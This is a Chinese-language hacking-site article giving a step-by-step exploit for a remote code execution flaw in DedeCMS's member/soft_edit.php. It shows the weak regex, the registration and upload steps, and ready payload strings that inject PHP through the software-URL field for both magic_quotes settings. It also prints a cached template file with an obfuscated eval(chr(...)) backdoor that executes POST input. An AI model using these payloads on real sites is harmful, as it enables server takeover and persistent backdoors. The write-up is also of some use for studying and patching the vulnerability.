加入收藏丨  设为首页丨
入侵检测
当前位置:资源啦 > 黑客基地 > 入侵检测

DeDeCMS soft_edit.php远程代码执行漏洞

时间:2017-12-29 14:41:57  作者:  来源:  查看:0  评论:0
内容摘要:DedeCms是一套开源的内容发布系统,20140228更新版本存在远程代码执行漏洞,成功利用该漏洞的攻击者,能执行任意PHP代码。要成功利用该漏洞需要前台普通会员权限,漏洞文件为soft_edit.php文件,关键代码如下:if(!preg_match(#[_=///?\.a-zA-Z0-9-]+$#i, $soft...

DedeCms是一套开源的内容发布系统,20140228更新版本存在远程代码执行漏洞,成功利用该漏洞的攻击者,能执行任意PHP代码。

要成功利用该漏洞需要前台普通会员权限,漏洞文件为soft_edit.php文件,关键代码如下:

if(!preg_match(#[_=///?\.a-zA-Z0-9-]+$#i, $softurl)){}ShowMsg(确定软件地址提交正确!, -1);exit;

上面的一行正则能匹配任意字符,所以走不到showMsg()这里。编写代码来测试一下,

下面是我写的PHP代码,文件名为preg_match.php。

?php$softurl=http://www.weixianmanbu.com/;if(!preg_match(#[_=///?\.a-zA-Z0-9-]+$#i, $softurl)){print 不能往下执行,退出;}else{print 可以匹配,漏洞触发;}?

执行preg_match.php,效果如图1所示。

DeDeCMS_soft_edit.php远程代码执行漏洞

用浏览器打开: http://www.weixianmanbu.com/article/12.html ,然后注册会员,如图2所示。

DeDeCMS_soft_edit.php远程代码执行漏洞

注册成功会转到会员中心,在内容中心栏目-软件中,可以上传一个软件,如图3所示。

上传任意一个软件,点击“修改”,修改“软件地址1 ”为如图4所示。

DeDeCMS_soft_edit.php远程代码执行漏洞

提交后在data\tplcache\目录下会生成一个inc文件,如图5所示。

DeDeCMS_soft_edit.php远程代码执行漏洞

文件4e1756b17370bd7e1c9c4fac86068d62.inc8ed5b5c7ac50306d.inc的代码如下:

?php$z[0]=Array(link, http://www.weixianmanbu.com/ }x,0,61);$z[0][4][text]=本地下载;$z[1]=Array(a,xxxx,61,260);$z[1][4][text\]=x]=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));//;$z[2]=Array(link, ,260,284);?

可以看到我们提交的代码已经存在了。Dedecms会在{dede:atext=x]=0;eval 中的x之前加个“”,所以要想办法闭合引号。

http://www.weixianmanbu.com/ }x{/dede:link}{dede:atext=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx

在GPC为On和Off下,情况是不同的。下面来研究magic_quotes_gpc=Off下的情况,需要修改“text’=x’”为“text\\=x’”,这是因为在代码执行时,进行了转化,转化为了“$z[1][4][text]=x]=0;”。

上面的代码无法闭合text后面的单引号,这个单引号是dedecms自动加上的,所以用“\’”,系统认为这个是转义字符,从而闭合了。那么如何构造一个“\’”字符呢?只需要 在 “ 软件地址1”里入

http://www.weixianmanbu.com/ }x{/dede:link}{dede:atext\\=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx就可以了,就是在text后加入2个斜杠“\\”,最后代码phpinfo()会被执行,如图6所示。

DeDeCMS_soft_edit.php远程代码执行漏洞

下面再看看magic_quotes_gpc=On的时候,如何执行任意代码。Text后去掉一个斜杠,变为http://www.weixianmanbu.com/}x{/dede:link}{dede:atext\=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx”,代码执行就成功了。

我写了一个工具“dedecms 5.7 member/soft_edit.php 代码执行漏洞”,利用效果如图7和图8所示。这样一来,利用这个漏洞就简单多了。

DeDeCMS_soft_edit.php远程代码执行漏洞


© 2017 www.ziyuanla.com 版权所有